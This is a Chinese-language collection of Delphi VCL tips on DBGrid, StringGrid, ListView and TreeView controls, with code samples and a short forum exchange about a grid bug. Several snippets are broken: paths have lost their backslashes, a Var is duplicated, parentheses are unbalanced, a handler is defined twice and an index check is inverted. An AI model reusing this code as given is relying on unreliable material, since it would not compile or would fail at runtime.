    程序设计开始时就应考虑：需要设定一变量来存储原始的 TDBGrid.Options的所有属性值。这样，当一boolean字段所在栏得到焦点时将要关闭TDBGrid.Options中gdEditing的可编辑模式。与此相对应，若该栏失去焦点时，就要重新恢复原始的 TDBGrid.Options的所有属性值。

    在实例中可以通过鼠标点击或敲打空格键改变布尔值，这样就需要触发TDBGrid.OnCellClick事件和TDBGrid.OnKeyDown事件。因为这两个事件都是改变单元格中逻辑字段的布尔值，所以为了减少代码的重复最好创建一个私有过程（SaveBoolean;）来完成逻辑值的输入，以后，在不同的事件中调用此过程即可。

    对 TDBGrid.OnDrawColumnCell事件的处理是整个程序的关键。处理嵌入组件的显示的传统方法是：在表单上实际添加组件对象，然后对组件的位置属性与网格中单元格的位置属性进行调整，以达到嵌入的视觉效果。这种方法虽然可行但代码量大，实际运行时控制性很差。笔者采用的方法是充分利用WIN32 API函数：DrawFrameControl()，由于此函数可以直接画出Checkbox组件，所以就无须在表单中实际添加组件。如何使用API函数：DrawFrameControl()是本程序技巧所在。

    在TDBGrid.OnDrawColumnCell事件中，我想大家会注意到：设定一个整型数组常数，而这个返回的整数值是与布尔值相一致的，如果字段是逻辑字段，则只将其布尔值放入数组中，提供给DrawFrameControl()函数中的状态参数进行调用，从而实现了Checkbox组件在网格中的嵌入效果。

    源代码如下：

    type

     TForm1 = class(TForm)

        DataSource1: TDataSource;

        Table1: TTable;

        DBGrid1: TDBGrid;

        procedure DBGrid1DrawColumnCell(Sender: TObject;

                    const Rect: TRect; DataCol: Integer;

                    Column: TColumn; State: TGridDrawState);

        procedure DBGrid1ColEnter(Sender: TObject);

        procedure DBGrid1ColExit(Sender: TObject);

        procedure DBGrid1CellClick(Column: TColumn);

        procedure DBGrid1KeyDown(Sender: TObject; var Key: Word;

                    Shift: TShiftState);

     private

        { Private declarations }

        OriginalOptions : TDBGridOptions;

        procedure SaveBoolean;

     public

        { Public declarations }

     end;

    {...}

    procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject;

                     const Rect: TRect; DataCol: Integer;

                     Column: TColumn; State: TGridDrawState);

    const

     // 这个整数值将按照布尔值返回，并送入数组

     CtrlState : array[Boolean] of Integer = (DFCS_BUTTONCHECK,DFCS_BUTTONCHECK or DFCS_CHECKED);

    begin

     //确保只有在逻辑字段才能插入组件

     if Column.Field.DataType = ftBoolean then

     begin

        DBGrid1.Canvas.FillRect(Rect);

        DrawFrameControl(DBGrid1.Canvas.Handle,

                         Rect,

                         DFC_BUTTON,

                         CtrlState[Column.Field.AsBoolean]);

     end;

    end;

    procedure TForm1.DBGrid1ColEnter(Sender: TObject);

    begin

     // 确保该栏是逻辑字段

     if DBGrid1.SelectedField.DataType = ftBoolean then

     begin

        OriginalOptions := DBGrid1.Options;

        DBGrid1.Options := DBGrid1.Options - [dgEditing];

     end;

    end;

    procedure TForm1.DBGrid1ColExit(Sender: TObject);

    begin

     //确保该栏是逻辑字段

     if DBGrid1.SelectedField.DataType = ftBoolean then

        DBGrid1.Options := OriginalOptions;

    end;

    procedure TForm1.DBGrid1CellClick(Column: TColumn);

    begin

     //确保该栏是逻辑字段

     if DBGrid1.SelectedField.DataType = ftBoolean then

        SaveBoolean();

    end;

    procedure TForm1.DBGrid1KeyDown(Sender: TObject;

                         var Key: Word; Shift: TShiftState);

    begin

     //确保该栏是逻辑字段和空格键在键盘中被敲击

     if ( Key = VK_SPACE ) and

         ( DBGrid1.SelectedField.DataType = ftBoolean ) then

        SaveBoolean();

    end;

    procedure TForm1.SaveBoolean;

    begin

     DBGrid1.SelectedField.Dataset.Edit;

     DBGrid1.SelectedField.AsBoolean :=not DBGrid1.SelectedField.AsBoolean;

     DBGrid1.SelectedField.Dataset.Post;

    end;

    以上源程序在PWIN+DELPHI5.0环境调试通过，可以直接引用。


dbgrid的颜色

如何使DBGRID网格的颜色随此格中的数据值的变化而变化。如<60的网格为红色？

Delphi中数据控制构件DBGrid是用来反映数据表的最重要、也是最常用的构件。在应用程序中，如果以彩色的方式来显示DBGrid，将会增加其可视性，尤其在显示一些重要的或者是需要警示的数据时，可以改变这些数据所在的行或列的前景和背景的颜色。

    DBGrid属性DefaultDrawing是用来控制Cell（网格）的绘制。若DefaultDrawing的缺省设置为True，意思是Delphi使用DBGrid的缺省绘制方法来制作网格和其中所包含的数据，数据是按与特定列相连接的Tfield构件的DisplayFormat或EditFormat特性来绘制的；若将DBGrid的DefaultDrawing特性设置成False，Delphi就不绘制网格或其内容，必须自行在TDBGrid的OnDrawDataCell事件中提供自己的绘制例程（自画功能）。

    在这里将用到DBGrid的一个重要属性：画布Canvas，很多构件都有这一属性。Canvas代表了当前被显示DBGrid的表面，你如果把另行定义的显示内容和风格指定给DBGrid对象的Canvas，DBGrid对象会把Canvas属性值在屏幕上显示出来。具体应用时，涉及到Canvas的Brush属性和FillRect方法及TextOut方法。Brush属性规定了DBGrid.Canvas显示的图像、颜色、风格以及访问Windows GDI 对象句柄，FillRect方法使用当前Brush属性填充矩形区域，方法TextOut输出Canvas的文本内容。

    以下用一个例子来详细地说明如何显示彩色的DBGrid。在例子中首先要有一个DBGrid构件，其次有一个用来产生彩色筛选条件的SpinEdit构件，另外还有ColorGrid构件供自由选择数据单元的前景和背景的颜色。

    1.建立名为ColorDBGrid的Project，在其窗体Form1中依次放入所需构件，并设置属性为相应值，具体如下所列：

     Table1 DatabaseName: DBDEMOS

TableName: EMPLOYEE.DB

Active: True;

    DataSource1 DataSet: Table1

    DBGrid1 DataSource1: DataSource1

DefaultDrawing: False

    SpinEdit1 Increment:200

Value: 20000

    ColorGrid1 GridOrdering: go16＊1

    2.为DBGrid1构件OnDrawDataCell事件编写响应程序：

    procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;Field: TField; State: TGridDrawState);

    begin

     if Table1.Fieldbyname(′Salary′).value<=SpinEdit1.value then

     DBGrid1.Canvas.Brush.Color:=ColorGrid1.ForeGroundColor

     else

     DBGrid1.Canvas.Brush.Color:=ColorGrid1.BackGroundColor;

     DBGrid1.Canvas.FillRect(Rect);

     DBGrid1.Canvas.TextOut(Rect.left＋2,Rect.top＋2,Field.AsString);

    end;

    这个过程的作用是当SpinEdit1给定的条件得以满足时，如′salary′变量低于或等于SpinEdit1.Value时，DBGrid1记录以ColorGrid1的前景颜色来显示，否则以ColorGrid1的背景颜色来显示。然后调用DBGrid的Canvas的填充过程FillRect和文本输出过程重新绘制DBGrid的画面。

    3.为SpinEdit1构件的OnChange事件编写响应代码：

    procedure TForm1.SpinEdit1Change(Sender: TObject);

    begin

     DBGrid1.refresh;

    end;

    当SpinEdit1构件的值有所改变时，重新刷新DBGrid1。

    4.为ColorGrid1的OnChange事件编写响应代码：

    procedure TForm1.ColorGrid1Change(Sender: TObject);

    begin

     DBGrid1.refresh;

  end;

    当ColorGrid1的值有所改变时，即鼠标的右键或左键单击ColorGrid1重新刷新DBGrid1。

    5.为Form1窗体（主窗体）的OnCreate事件编写响应代码：

    procedure TForm1.FormCreate(Sender: TObject);

    begin

     ColorGrid1.ForeGroundIndex:=9;

     ColorGrid1.BackGroundIndex:=15;

    end;

    在主窗创建时，将ColorGrid1的初值设定前景为灰色，背景为白色，也即DBGrid的字体颜色为灰色，背景颜色为白色。

    6.现在，可以对ColorDBGrid程序进行编译和运行了。当用鼠标的左键或右键单击ColorGrid1时，DBGrid的字体和背景颜色将随之变化。

    在本文中，只是简单展示了以彩色方式显示DBGrid的原理，当然，还可以增加程序的复杂性，使其实用化。同样道理，也可以将这个方法扩展到其他拥有Canvas属性的构件中，让应用程序的用户界面更加友好。


stringgrid行列的增加和删除

type

TExCell = class(TStringGrid)

public

procedure DeleteRow(ARow: Longint);

procedure DeleteColumn(ACol: Longint);

procedure InsertRow(ARow: LongInt);

procedure InsertColumn(ACol: LongInt);

end;

procedure TExCell.InsertColumn(ACol: Integer);

begin

ColCount :=ColCount +1;

MoveColumn(ColCount-1, ACol);

end;

procedure TExCell.InsertRow(ARow: Integer);

begin

RowCount :=RowCount +1;

MoveRow(RowCount-1, ARow);

end;

procedure TExCell.DeleteColumn(ACol: Longint);

begin

MoveColumn(ACol, ColCount -1);

ColCount := ColCount - 1;

end;

procedure TExCell.DeleteRow(ARow: Longint);

begin

MoveRow(ARow, RowCount - 1);

RowCount := RowCount - 1;

end;


如何编写使StringGrid中的一列具有Check功能，和CheckBox效果一样

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Grids;

type

TForm1 = class(TForm)

grid: TStringGrid;

procedure FormCreate(Sender: TObject);

procedure gridDrawCell(Sender: TObject; ACol, ARow: Integer;

Rect: TRect; State: TGridDrawState);

procedure gridClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

fcheck,fnocheck:tbitmap;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

var

i:SmallInt;

bmp:TBitmap;

begin

FCheck:= TBitmap.Create;

FNoCheck:= TBitmap.Create;

bmp:= TBitmap.create;

try

bmp.handle := LoadBitmap( 0, PChar(OBM_CHECKBOXES ));

With FNoCheck Do Begin

width := bmp.width div 4;

height := bmp.height div 3;

canvas.copyrect( canvas.cliprect, bmp.canvas, canvas.cliprect );

End;

With FCheck Do Begin

width := bmp.width div 4;

height := bmp.height div 3;

canvas.copyrect(

canvas.cliprect,

bmp.canvas,

rect( width, 0, 2*width, height ));

End;

finally

bmp.free

end;

end;

procedure TForm1.gridDrawCell(Sender: TObject; ACol, ARow: Integer;

Rect: TRect; State: TGridDrawState);

begin

if not (gdFixed in State) then

with TStringGrid(Sender).Canvas do

begin

brush.Color:=clWindow;

FillRect(Rect);

if Grid.Cells[ACol,ARow]='yes' then

Draw( (rect.right + rect.left - FCheck.width) div 2,

(rect.bottom + rect.top - FCheck.height) div 2,

FCheck )

else

Draw( (rect.right + rect.left - FCheck.width) div 2,

(rect.bottom + rect.top - FCheck.height) div 2,

FNoCheck );

end;

end;

procedure TForm1.gridClick(Sender: TObject);

begin

if grid.Cells[grid.col,grid.row]='yes' then

grid.Cells[grid.col,grid.row]:='no'

else

grid.Cells[grid.col,grid.row]:='yes';

end;

end.


StringGrid组件Cells内容分行显示

在Tstringgrid.ondrawcell事件中：

DrawText(StringGrid1.Canvas.Handle,pchar(StringGrid1.Cells[Acol,Arow]),Length(StringGrid1.Cells[Acol,Arow]),Rect,DT_WORDBREAK or DT_LEFT);

可以实现文字换行！


在StringGrid怎样制作只读的列

在 OnSelectCell事件处理程序中,加入: (所有的列均设成可修改的)

if Col mod 2 = 0 then

grd.Options := grd.Options + [goEditing]

else

grd.Options := grd.Options - [goEditing];


stringgrid从文本读入的问题

Save/Load a TStringGrid to/from a file?

// Save a TStringGrid to a file

procedure SaveStringGrid(StringGrid: TStringGrid; const FileName: TFileName);

var

f: TextFile;

i, k: Integer;

begin

AssignFile(f, FileName);

Rewrite(f);

with StringGrid do

begin

// Write number of Columns/Rows

Writeln(f, ColCount);

Writeln(f, RowCount);

// loop through cells

for i := 0 to ColCount - 1 do

for k := 0 to RowCount - 1 do

Writeln(F, Cells[i, k]);

end;

CloseFile(F);

end;

// Load a TStringGrid from a file

procedure LoadStringGrid(StringGrid: TStringGrid; const FileName: TFileName);

var

f: TextFile;

iTmp, i, k: Integer;

strTemp: String;

begin

AssignFile(f, FileName);

Reset(f);

with StringGrid do

begin

// Get number of columns

Readln(f, iTmp);

ColCount := iTmp;

// Get number of rows

Readln(f, iTmp);

RowCount := iTmp;

// loop through cells & fill in values

for i := 0 to ColCount - 1 do

for k := 0 to RowCount - 1 do

begin

Readln(f, strTemp);

Cells[i, k] := strTemp;

end;

end;

CloseFile(f);

end;

// Save StringGrid1 to 'c:.txt':

procedure TForm1.Button1Click(Sender: TObject);

begin

SaveStringGrid(StringGrid1, 'c:.txt');

end;

// Load StringGrid1 from 'c:.txt':

procedure TForm1.Button2Click(Sender: TObject);

begin

LoadStringGrid(StringGrid1, 'c:.txt');

end;

*******************************************

打开一个已有的文本文件,并将内容放到stringgrid中,

文本行与stringgrid行一致;

在文本中遇到空格则放入下一cells.

搞定！注意，我只写了一个空格间隔的，你自己修改一下splitstring可以用多个空格分隔！

procedure TForm1.Button1Click(Sender: TObject);

var

aa,bb:tstringlist;

i:integer;

begin

aa:=tstringlist.Create;

bb:=tstringlist.Create;

aa.LoadFromFile('c:.txt');

for i:=0 to aa.Count-1 do

begin

bb:=SplitString(aa.Strings[i],' ');

stringgrid1.Rows[i]:=bb;

end;

aa.Free;

bb.Free;

end;

其中splitstring为：

function SplitString(const source,ch:string):tstringlist;

var

temp:string;

i:integer;

begin

result:=tstringlist.Create;

temp:=source;

i:=pos(ch,source);

while i<>0 do

begin

result.Add(copy(temp,0,i-1));

delete(temp,1,i);

i:=pos(ch,temp);

end;

result.Add(temp);

end;


StringGrid组件Cells内容对齐

在StringGrid的DrawCell事件中添加类似的代码就可以了：

VAR

vCol, vRow : LongInt;

begin

vCol := ACol; vRow := ARow;

WITH Sender AS TStringGrid, Canvas DO

IF vCol = 2 THEN BEGIN ///对于第2列设置为右对齐

SetTextAlign(Handle, TA_RIGHT);

FillRect(Rect);

TextRect(Rect, Rect.RIGHT-2, Rect.Top+2,

Cells[vCol, vRow]);

END;

end;


Grid转换到Word的控件

这个控件是Kingron编写的，版权所有，Kingron保留所有权利。请保留控件的版权信息，尊重作者的辛勤劳动。

这个控件支持Delphi5和Delphi6，在Word2000下面测试通过。

不可未经授权，擅自散发！

安装：把附件保存，然后用Delphi打开这个GridToWord.Pas文件，选择Delphi菜单--〉Component-->Install Component，然后选择Install即可。安装之后，在控件面板的Samples页面上面，会有一个GridToWord控件，把它放到窗体上面，然后设置它的Grid属性即可，此后，你就可以调用她的ExportToWord方法。就这么简单，熟悉之后，你可以试着设置一些复杂的属性，其他的自己摸索吧，如果不希望控件设置表格的属性，只希望有一个干净的Word表格，请设置控件的TableFormat的Style为tfDefault即可。这样你会得到一个完全没有任何格式的表格。

控件功能：

能够现实进度条；提供事件支持（OnProgress）；能够自动设置表格格式（支持Word所支持的40多个预定义“自动套用格式”，并且允许设置自动套用格式的应用范围）；支持StringGrid和DBGrid；能够设置字体、对齐方式等常见格式；支持表头、支持标题和表格主体，并且可以分别设置格式；

预计新的版本提供更强大的功能：

允许设置每一个单元格的格式！支持更多的事件，并且允许在事件中对导出进行更多更复杂的控制！

下载 GridToWord.pas


Cells内容分行显示

在Tstringgrid.ondrawcell事件中：

DrawText(StringGrid1.Canvas.Handle,pchar(StringGrid1.Cells[Acol,Arow]),Length(StringGrid1.Cells[Acol,Arow]),Rect,DT_WORDBREAK or DT_LEFT);

可以实现文字换行！


change the DefaultRowHeight of a TDBGrid?

change the DefaultRowHeight of a TDBGrid?

// 1. Way: Derive a new Type: TMyDBGrid

type

TMyDBGrid = class(TDBGrid)

public

property DefaultRowHeight;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

DbGrid1.Canvas.Font.Size := 13;

TMyDBGrid(DBGrid1).DefaultRowHeight := DBGrid1.Canvas.TextHeight('MMMMM') + 4;

end;

// 2. Way: Make a TypeCast:

procedure TForm1.Button1Click(Sender: TObject);

begin

DBGrid1.DataSource.DataSet.DisableControls;

TStringGrid(DBGrid1).DefaultRowHeight := 55;

DBGrid1.DataSource.DataSet.EnableControls;

end;


判断Grid是否有滚动条

判断Grid是否有滚动条？

if (GetWindowlong(Stringgrid1.Handle, GWL_STYLE) and WS_VSCROLL) <> 0 then

ShowMessage('Vertical scrollbar is visible!');

if (GetWindowlong(Stringgrid1.Handle, GWL_STYLE) and WS_HSCROLL) <> 0 then

ShowMessage('Horizontal scrollbar is visible!');


StringGrid的AutoSize

...autosize a StringGrid-Column to fit its content?

{1.}

procedure SetGridColumnWidths(Grid: TStringGrid;

const Columns: array of Integer);

{

When you double-Click on a Column-Header the Column

autosizes to fit its content

Bei Doppelklick auf eine fixierte Spalte passt sich

die Spaltenbreite der Textgr?sse an

}

procedure AutoSizeGridColumn(Grid: TStringGrid; column, min, max: Integer);

{ Set for max and min some minimal/maximial Values}

{ Bei max and min kann eine Minimal- resp. Maximalbreite angegeben werden}

var

i: Integer;

temp: Integer;

tempmax: Integer;

begin

tempmax := 0;

for i := 0 to (Grid.RowCount - 1) do

begin

temp := Grid.Canvas.TextWidth(Grid.cells[column, i]);

if temp > tempmax then tempmax := temp;

if tempmax > max then

begin

tempmax := max;

break;

end;

end;

if tempmax < min then tempmax := min;

Grid.ColWidths[column] := tempmax + Grid.GridLineWidth + 3;

end;

procedure TForm1.StringGrid1DblClick(Sender: TObject);

var

P: TPoint;

iColumn, iRow: Longint;

begin

GetCursorPos(P);

with StringGrid1 do

begin

P := ScreenToClient(P);

MouseToCell(P.X, P.Y, iColumn, iRow);

if P.Y < DefaultRowHeight then

AutoSizeGridColumn(StringGrid1, iColumn, 40, 100);

end;

end;

{************************************************}

{2.}

procedure TForm1.Button1Click(Sender: TObject);

{ by P. Below }

const

DEFBORDER = 8;

var

max, temp, i, n: Integer;

begin

with Grid do

begin

Canvas.Font := Font;

for n := Low(Columns) to High(Columns) do

begin

max := 0;

for i := 0 to RowCount - 1 do

begin

temp := Canvas.TextWidth(Cells[Columns[n], i]) + DEFBORDER;

if temp > max then

max := temp;

end; { For }

if max > 0 then

ColWidths[Columns[n]] := max;

end; { For }

end; { With }

end; {SetGridColumnWidths }


禁止移动DBGrid的列

allow column resize in a TDBGrid but prevent move?

禁止移动DBGrid的列？

TStringGrid(DBGrid1).Options:= TStringGrid(DBGrid1).Options-[goColMoving];


DBGrid的一个BUG

DBGrid的一个BUG

在窗体上放一个DBGrid，设Align属性为alClient，运行时将窗体最大化，关闭数据集并重新

打开，按着鼠标不放，向下拖动滚动条，直到鼠标位置的超过DBGrid的下边框（这时滚动条

要一直跟着鼠标走，不能弹回去），然后放开鼠标，这时就出抛出一个EInvalidGridOperation

错误，错误信息为“Grid index out of range”。

这个错误在以下情况时不会出现：

1、窗体非最大化时；

2、数据集第一次打开时；

3、数据不多，不会产生滚动条时；

4、在拖动滚动条前先点了滚动条的向下箭头；

5、在拖动滚动条前先点了DBGrid里的其中一条记录，导到滚动条向下移动时。

来自：Yong, 时间：2002-8-8 14:13:00, ID：1251306

你是不是用BDE访问数据库的?如果是的话，把BLOBS TO CACHE和BLOB SIZE的值调大点就好了

来自：Sachow, 时间：2002-8-12 13:49:00, ID：1259006

Yong说的对，正是那样的。而且我发现当我通过从视图中选取数据（字段比原天少了好几个，

数据量也就少了很多）时，即使不改BlobSize的值，也同样不会报错了。


convert a TStringGrid to HTML?

convert a TStringGrid to HTML?

Author :Cyrus

The SGridToHtml() function converts a Stringgrid to a HTML Code.

Parameters: SG: TStringGrid to convert

Dest: TMemo to show the HTML Code

BorderSize: Size of border (0 = show no border)

{

Mit der Funktion SGridToHtml() k?nnen StringGrids in HTML Code umgewandelt werden.

SG bezieht sich auf das TStringGrid, welches codiert werden soll.

in Dest (vom Typ TMemo) wird der HTML Code erzeugt.

BorderSize bestimmt, wie dick der Tabellenrahmen sein soll. 0 = kein Rahmen

}

procedure SGridToHtml(SG: TStringgrid; Dest: TMemo; BorderSize: Integer);

var

i, p: integer;

SStyle1, SStyle2, Text: string;

begin

Dest.Clear;

Dest.Lines.Add('<html>');

Dest.Lines.Add('<body>');

Dest.Lines.Add(' <table border="' + IntToStr(BorderSize) + '" width="' +

IntToStr(SG.Width) + '" height="' + IntToStr(SG.Width) + '">');

for i := 0 to SG.RowCount - 1 do

begin

Dest.Lines.Add(' <tr>');

for p := 0 to SG.ColCount - 1 do

begin

SStyle1 := '';

SStyle2 := '';

if fsbold in SG.Font.Style then

begin

SStyle1 := SStyle1 + '<b>';

SStyle2 := SStyle2 + '</b>';

end;

if fsitalic in SG.Font.Style then

begin

SStyle1 := SStyle1 + '<i>';

SStyle2 := SStyle2 + '</i>';

end;

if fsunderline in SG.Font.Style then

begin

SStyle1 := SStyle1 + '<u>';

SStyle2 := SStyle2 + '</u>';

end;

Text := sg.Cells[p, i];

if Text = '' then Text := ' ';

Dest.Lines.Add(' <td width="' + IntToStr(sg.ColWidths[p]) +

'" height="' + IntToStr(sg.RowHeights[p]) +

'"><font color="#' + IntToHex(sg.Font.Color, 6) +

'" face="' + SG.Font.Name + '">' + SStyle1 +

Text + SStyle2 + '</font></td>');

end;

Dest.Lines.Add(' </tr>');

end;

Dest.Lines.Add(' </table>');

Dest.Lines.Add('</body>');;

Dest.Lines.Add('</html>');

end;

// Example, Beispiel

procedure TFormCSVInport.Button6Click(Sender: TObject);

begin

SGridToHtml(StringGrid1, Memo1, 1);

Memo1.Lines.SaveToFile('c:\test.html');

end;


两个Grid的同步滚动

synchronize the Scrolling of two TStringgrids?

P.Below

{1.}

unit SyncStringGrid;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, Grids;

type

TSyncKind = (skBoth, skVScroll, skHScroll);

TSyncStringGrid = class(TStringGrid)

private

FInSync: Boolean;

FsyncGrid: TSyncStringGrid;

FSyncKind: TSyncKind;

{ Private declarations }

procedure WMVScroll(var Msg: TMessage); message WM_VSCROLL;

procedure WMHScroll(var Msg: TMessage); message WM_HSCROLL;

protected

{ Protected declarations }

public

{ Public declarations }

procedure DoSync(Msg, wParam: Integer; lParam: Longint); virtual;

published

{ Published declarations }

property SyncGrid: TSyncStringGrid read FSyncGrid write FSyncGrid;

property SyncKind: TSyncKind read FSyncKind write FSyncKind default skBoth;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [TSyncStringGrid]);

end;

procedure TSyncStringGrid.WMVScroll(var Msg: TMessage);

begin

if not FInSync and

Assigned(FSyncGrid) and

(FSyncKind in [skBoth, skVScroll]) then

FSyncGrid.DoSync(WM_VSCROLL, Msg.wParam, Msg.lParam);

inherited;

end;

procedure TSyncStringGrid.WMHScroll(var Msg: TMessage);

begin

if not FInSync and

Assigned(FSyncGrid) and

(FSyncKind in [skBoth, skHScroll]) then

FSyncGrid.DoSync(WM_HSCROLL, Msg.wParam, Msg.lParam);

inherited;

end;

procedure TSyncStringGrid.DoSync(Msg, wParam: Integer; lParam: Longint);

begin

FInSync := True;

Perform(Msg, wParam, lParam);

FinSync := False;

end;

end.

{****************************************}

{2.}

private

OldGridProc1, OldGridProc2: TWndMethod;

procedure Grid1WindowProc(var Message: TMessage);

procedure Grid2WindowProc(var Message: TMessage);

public

{...}

procedure TForm1.Grid1WindowProc(var Message: TMessage);

begin

OldGridProc1(Message);

if ((Message.Msg = WM_VSCROLL) or (Message.Msg = WM_HSCROLL) or

Message.msg = WM_Mousewheel)) then

begin

OldGridProc2(Message);

end;

end;

procedure TForm1.Grid2WindowProc(var Message: TMessage);

begin

OldGridProc2(Message);

if ((Message.Msg = WM_VSCROLL) or (Message.Msg = WM_HSCROLL) or

(Message.msg = WM_Mousewheel)) then

begin

OldGridProc1(Message);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

OldGridProc1 := StringGrid1.WindowProc;

OldGridProc2 := StringGrid2.WindowProc;

StringGrid1.WindowProc := Grid1WindowProc;

StringGrid2.WindowProc := Grid2WindowProc;

end;


如何避免ListView添加项目时的闪烁

够简单了吧！

Listview.BeginUpdate;

try

...

finally

Listview.EndUpdate;

End;


怎样在 listview 中选择一行

在 listview 中用鼠标选择字符串的时候，它的显示只有字符串那么长

怎样才能象 ACDSee 一样选择整行内容???

把RowSelect设定为True


在TreeView中添加一个CheckBox

可以用变通的手法。

    TreeView有Images属性不是吗？自己做三张小图片：全选中、部分选中、不选状态（直接拍下CheckBox三种状态的图片在加工一下就可以了），然后在点击事件中根据具体情况设置TTreeNodes的ImageIndex就OK了。

    如果嫌麻烦的话就去Down一个控件，其实有些控件也是这样做的，界面上你是看不出来的. :)

**************

Manan Patel <mpatel@siemens-hearing.com>

重载TreeView的CreateParams：

type

TCheckBoxTreeView = class(TTreeView)

protected

procedure CreateParams(var Params: TCreateParams); override;

end;

procedure TCheckBoxTreeView.CreateParams(var Params: TCreateParams);

begin

inherited;

Params.Style:=Params.Style or TVS_CHECKBOXES;

{ TVS_CHECKBOXES declared in CommCtrl }

end;

如果要Check这个CheckBox，可以用下面的代码：

function IsNodeChecked(Node :TTreeNode) :Boolean;

const

TVIS_CHECKED = $2000;

var

TvItem :TTVItem;

begin

TvItem.Mask := TVIF_STATE;

TvItem.hItem := Node.ItemId;

TreeView_GetItem(Node.TreeView.Handle, TvItem);

Result := (TvItem.State and TVIS_CHECKED) = TVIS_CHECKED;

end;

procedure SetNodeChecked(Node :TTreeNode; Checked :Boolean);

const

TVIS_CHECKED = $2000;

var

TvItem :TTVItem;

begin

FillChar(TvItem, SizeOf(TvItem), 0);

with TvItem do begin

hItem := Node.ItemId;

Mask := TVIF_STATE;

StateMask := TVIS_STATEIMAGEMASK;

if Checked then

TvItem.State :=TVIS_CHECKED

else

TvItem.State :=TVIS_CHECKED shr 1;

TreeView_SetItem(Node.TreeView.Handle, TvItem);

end;

end;

可以做成事件和封装成一个类：

private OldState :Boolean;

procedure Change(Node: TTreeNode); override;

begin

inherited Change(Node);

OldState := IsNodeChecked(Node);

end;

procedure Click; override;

var

NewState :Boolean;

begin

inherited Click;

NewState := IsNodeChecked(Self.Selected);

if NewState = OldState then Exit;

if (NewState) and Assigned(OnNodeChecked) then OnNodeChecked()

else if (not NewState) and Assigned(OnNodeUnChecked) then

OnNodeUnChecked()

// OnNodeChecked & OnNodeUnchecked will be events that you declare

end;

附件>>>> CheckTV.pas


节点的拖放

我想作一个类似文件管理器的界面,左边是treeview右边是listview如何实现从右边拖一个东东到左边的treeview中???如何得知用户将东东放在了treeview的哪个item中,以及用户拖来的是listview中的哪个项?

最好能给出简单例程!

//如下：

implementation

{$R *.DFM}

procedure TForm1.ListBox1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

if Button = mbLeft then

begin

Listbox1.DragMode := dmManual;

Listbox1.BeginDrag(False,-1);

end;

end;

procedure TForm1.Label1DragDrop(Sender, Source: TObject; X, Y: Integer);

begin

if (Sender is TLabel) and (Source is TListBox) then

begin

with Sender as Tlabel do

begin

Font := (Source as Tlistbox).Font;

Color := (Source as TlistBox).Color;

Caption := (Source as TlistBox).Items[(Source as TlistBox).ItemIndex]

end;

end;

end;

procedure TForm1.Label1DragOver(Sender, Source: TObject; X, Y: Integer;

State: TDragState; var Accept: Boolean);

begin

Accept := Source is TLIstBox;

end;

procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;

State: TDragState; var Accept: Boolean);

begin

Accept := Source is TLIstBox;

end;

procedure TForm1.TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);

begin

With (Sender as TTreeView) do

begin

GetNodeAt(X,Y).Text := (Source as TListBox).Items[(Source as TlistBox).ItemIndex];

end;

end;

procedure TForm1.TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);

begin

With (Sender as TTreeView) do

begin

ItemS.AddChild (GetNodeAt(X,Y),(Source as TListBox).Items[(Source as TlistBox).ItemIndex]);

end;


设置ListView中图标的间隔

发现ListView加入图标后间隔很大，我需要显示许多图标，所以希望排列紧凑一些，但不知如何实现！

uses commctrl,...;

function ListView_SetIconSpacing(hwndLV: HWND; cx, cy: Word): DWORD;

cx,cy:对应x,y方向上的间距

用法:

listview_seticonspacing(listview1.handle,20,20);


实现鼠标右键选中结点

实现鼠标右键选中结点

1. 设置treeview的属性RightClickSelect为True

2. 编写一个函数

procedure ChangeSelectNode(tree:TTreeView;x,y:integer;Button: TMouseButton);

var

anode:TTreeNode;

begin

if button=mbright then {是否按了右键}

begin

anode:=tree.GetNodeAt(x,y); {取x,y坐标下的结点}

if anode<>nil then

anode.Selected :=true; {设置点中结点为选中}

end;

end;

3. 在treeview的OnMouseDown事件加入下面的语句

changeselectnode(treeview1,x,y,button);

******************************

procedure TForm1.TreeView1ContextPopup(Sender: TObject; MousePos: TPoint;

var Handled: Boolean);

var

tmpNode: TTreeNode;

begin

tmpNode := (Sender as TTreeView).GetNodeAt(MousePos.X, MousePos.Y);

if tmpNode <> nil then

TTreeView(Sender).Selected := tmpNode;

end;


TreeView的使用

一. 如何初始化一个TreeView？

弄一个窗口，放上一个TreeView和一个Button，分别取名为TV1和Btn1。如果需要

在每个节点前有个图，请在窗口上放上一个ImageList，取名为ImageList1，双击

它，加入六个图标。还要记得记得将TV1的Images属性改为ImageList1噢。双击按

钮Btn1，在里面填入以下代码，然后按F9运行，点击Btn1就可以看到效果了。

procedure TForm1.Btn1Click(Sender: TObject);

Const

MyDocDir = 'C:Documents';

PersonDir = '3hSoft';

Var

Var

I : Word;

SubNodeName : array [1..5] of ShortString;

RootNode, SubNode : TTreeNode;

P : PString;

begin

SubNodeName[1] := '便笺';

SubNodeName[2] := '发件箱';

SubNodeName[3] := '联系人';

SubNodeName[4] := '任务';

SubNodeName[5] := '日记';

TV1.Items.Clear;

TV1.Items.BeginUpdate;

New(P);

P^ := MyDocDir + ' + PersonDir;

RootNode := TV1.Items.AddObject(Nil, '个人文件夹', P);

// 此 Node 的图标已对 Images 属性中取第 0 个了。

For I := 1 to 5 do

begin

New(P);

P^ := MyDocDir + ' + PersonDir + ' + SubNodeName[I];

SubNode := TV1.Items.AddChildObject(RootNode, SubNodeName[I], P)

;

;

// 如果不想使用图标的话请删除以下两行

SubNode.ImageIndex := I;

SubNode.SelectedIndex := I;

end;

TV1.Items.EndUpdate;

end;

二.在TreeView中如何设置选中结点

var

i:integer; {i为设置的选中结点的索引值}

begin

if i>treeview1.items.count then

treeview1.items[i].selected:=true;

或

treeview1.selected:=treeview1.items[i];

